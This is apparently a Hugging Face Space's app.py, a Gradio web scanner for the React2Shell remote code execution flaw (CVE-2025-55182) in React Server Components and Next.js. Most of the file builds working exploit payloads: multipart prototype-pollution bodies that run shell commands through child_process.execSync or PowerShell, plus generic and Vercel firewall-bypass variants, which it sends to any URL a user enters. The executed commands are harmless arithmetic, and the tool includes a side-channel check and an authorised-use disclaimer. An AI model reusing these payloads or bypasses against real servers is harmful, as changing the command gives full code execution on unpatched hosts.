blazingbunny's picture
Create app.py
68534d1 verified
raw
history blame
11.1 kB
import gradio as gr
import requests
import re
import random
import string
import json
from urllib.parse import urlparse
from requests.exceptions import RequestException
# --- Core Scanner Logic (Adapted from Assetnote) ---
def normalize_host(host: str) -> str:
"""Normalize host to include scheme if missing."""
host = host.strip()
if not host:
return ""
if not host.startswith(("http://", "https://")):
host = f"https://{host}"
return host.rstrip("/")
def generate_junk_data(size_bytes: int) -> tuple[str, str]:
"""Generate random junk data for WAF bypass."""
param_name = ''.join(random.choices(string.ascii_lowercase, k=12))
junk = ''.join(random.choices(string.ascii_letters + string.digits, k=size_bytes))
return param_name, junk
def build_safe_payload() -> tuple[str, str]:
"""Build the safe multipart form data payload (side-channel)."""
boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
body = (
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
f'Content-Disposition: form-data; name="1"\r\n\r\n'
f"{{}}\r\n"
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
f'Content-Disposition: form-data; name="0"\r\n\r\n'
f'["$1:aa:aa"]\r\n'
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--"
)
content_type = f"multipart/form-data; boundary={boundary}"
return body, content_type
def build_vercel_waf_bypass_payload() -> tuple[str, str]:
"""Build the Vercel WAF bypass multipart payload."""
boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
part0 = (
'{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
'"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
'"var res=process.mainModule.require(\'child_process\').execSync(\'echo $((41*271))\').toString().trim();;'
'throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",'
'"_chunks":"$Q2","_formData":{"get":"$3:\\"$$:constructor:constructor"}}}'
)
body = (
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
f'Content-Disposition: form-data; name="0"\r\n\r\n'
f"{part0}\r\n"
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
f'Content-Disposition: form-data; name="1"\r\n\r\n'
f'"$@0"\r\n'
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
f'Content-Disposition: form-data; name="2"\r\n\r\n'
f"[]\r\n"
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
f'Content-Disposition: form-data; name="3"\r\n\r\n'
f'{{"\\"\u0024\u0024":{{}}}}\r\n'
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--"
)
content_type = f"multipart/form-data; boundary={boundary}"
return body, content_type
def build_rce_payload(windows: bool = False, waf_bypass: bool = False, waf_bypass_size_kb: int = 128) -> tuple[str, str]:
"""Build the RCE PoC multipart payload."""
boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
if windows:
cmd = 'powershell -c \\\"41*271\\\"'
else:
cmd = 'echo $((41*271))'
prefix_payload = (
f"var res=process.mainModule.require('child_process').execSync('{cmd}')"
f".toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),"
f"{{digest: `NEXT_REDIRECT;push;/login?a=${{res}};307;`}});"
)
part0 = (
'{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
'"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"' + prefix_payload + '","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}'
)
parts = []
if waf_bypass:
param_name, junk = generate_junk_data(waf_bypass_size_kb * 1024)
parts.append(
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
f'Content-Disposition: form-data; name="{param_name}"\r\n\r\n'
f"{junk}\r\n"
)
parts.append(f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{part0}\r\n")
parts.append(f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n")
parts.append(f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n")
parts.append("------WebKitFormBoundaryx8jO2oVc6SWP3Sad--")
body = "".join(parts)
content_type = f"multipart/form-data; boundary={boundary}"
return body, content_type
def resolve_redirects(url: str, timeout: int, verify_ssl: bool, max_redirects: int = 10) -> str:
current_url = url
original_host = urlparse(url).netloc
try:
for _ in range(max_redirects):
response = requests.head(current_url, timeout=timeout, verify=verify_ssl, allow_redirects=False)
if response.status_code in (301, 302, 303, 307, 308):
location = response.headers.get("Location")
if location:
if location.startswith("/"):
parsed = urlparse(current_url)
current_url = f"{parsed.scheme}://{parsed.netloc}{location}"
else:
new_host = urlparse(location).netloc
if new_host == original_host:
current_url = location
else:
break
else:
break
except RequestException:
pass
return current_url
def send_payload(target_url: str, headers: dict, body: str, timeout: int, verify_ssl: bool):
try:
body_bytes = body.encode('utf-8') if isinstance(body, str) else body
response = requests.post(
target_url, headers=headers, data=body_bytes, timeout=timeout, verify=verify_ssl, allow_redirects=False
)
return response, None
except Exception as e:
return None, str(e)
def is_vulnerable_safe_check(response: requests.Response) -> bool:
if response.status_code != 500 or 'E{"digest"' not in response.text:
return False
server_header = response.headers.get("Server", "").lower()
has_netlify_vary = "Netlify-Vary" in response.headers
is_mitigated = (has_netlify_vary or server_header == "netlify" or server_header == "vercel")
return not is_mitigated
def is_vulnerable_rce_check(response: requests.Response) -> bool:
redirect_header = response.headers.get("X-Action-Redirect", "")
return bool(re.search(r'.*/login\?a=11111.*', redirect_header))
# --- Gradio Interface Logic ---
def scan_target(url, safe_check, windows_mode, waf_bypass, vercel_bypass, custom_path):
if not url:
return "Error: Please enter a URL."
host = normalize_host(url)
timeout = 10
verify_ssl = True # In a public space, maybe better to keep SSL verification on
# Determine Payload
if safe_check:
body, content_type = build_safe_payload()
check_func = is_vulnerable_safe_check
mode_str = "Safe Check (Side-Channel)"
elif vercel_bypass:
body, content_type = build_vercel_waf_bypass_payload()
check_func = is_vulnerable_rce_check
mode_str = "Vercel WAF Bypass"
else:
body, content_type = build_rce_payload(windows=windows_mode, waf_bypass=waf_bypass)
check_func = is_vulnerable_rce_check
mode_str = "Standard RCE Check" + (" (Windows)" if windows_mode else "")
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Assetnote/1.0.0)",
"Next-Action": "x",
"X-Nextjs-Request-Id": "b5dce965",
"Content-Type": content_type,
"X-Nextjs-Html-Request-Id": "SSTMXm7OJ_g0Ncx6jpQt9",
}
paths = [custom_path] if custom_path else ["/"]
logs = []
logs.append(f"Target: {host}")
logs.append(f"Mode: {mode_str}")
vulnerable_found = False
for path in paths:
if not path.startswith("/"): path = "/" + path
target_url = f"{host}{path}"
logs.append(f"\nTesting: {target_url}")
# Test 1: Direct Path
resp, error = send_payload(target_url, headers, body, timeout, verify_ssl)
if error:
logs.append(f"Error connecting: {error}")
elif resp:
logs.append(f"Status: {resp.status_code}")
if check_func(resp):
vulnerable_found = True
logs.append("RESULT: [VULNERABLE]")
if not safe_check:
logs.append(f"Redirect Header: {resp.headers.get('X-Action-Redirect')}")
return "\n".join(logs)
else:
logs.append("Result: Not Vulnerable")
# Test 2: Follow Redirect (if 1st failed)
redirect_url = resolve_redirects(target_url, timeout, verify_ssl)
if redirect_url != target_url:
logs.append(f"\nFollowing redirect to: {redirect_url}")
resp_red, error_red = send_payload(redirect_url, headers, body, timeout, verify_ssl)
if resp_red:
logs.append(f"Status: {resp_red.status_code}")
if check_func(resp_red):
vulnerable_found = True
logs.append("RESULT: [VULNERABLE]")
return "\n".join(logs)
else:
logs.append("Result: Not Vulnerable")
final_status = "[VULNERABLE]" if vulnerable_found else "[NOT VULNERABLE]"
logs.append(f"\nFinal Status: {final_status}")
return "\n".join(logs)
# --- UI Setup ---
with gr.Blocks(title="React2Shell Scanner") as demo:
gr.Markdown("# React2Shell Scanner (CVE-2025-55182)")
gr.Markdown("Web-based scanner for React Server Components / Next.js RCE. Based on the [Assetnote Scanner](https://github.com/assetnote/react2shell-scanner).")
with gr.Row():
url_input = gr.Textbox(label="Target URL", placeholder="https://example.com")
path_input = gr.Textbox(label="Custom Path (Optional)", placeholder="/_next", value="")
with gr.Row():
safe_check = gr.Checkbox(label="Safe Check (Side-Channel)", value=True, info="Uses non-destructive payload.")
windows_mode = gr.Checkbox(label="Windows Mode", value=False, info="Use PowerShell payload.")
waf_bypass = gr.Checkbox(label="Generic WAF Bypass", value=False, info="Add junk data.")
vercel_bypass = gr.Checkbox(label="Vercel WAF Bypass", value=False)
scan_btn = gr.Button("Scan Target", variant="primary")
output_box = gr.Textbox(label="Scan Output", lines=10)
scan_btn.click(
fn=scan_target,
inputs=[url_input, safe_check, windows_mode, waf_bypass, vercel_bypass, path_input],
outputs=output_box
)
gr.Markdown("**Disclaimer:** This tool is for educational and authorized security testing purposes only. Do not scan targets you do not own or have permission to test.")
demo.launch()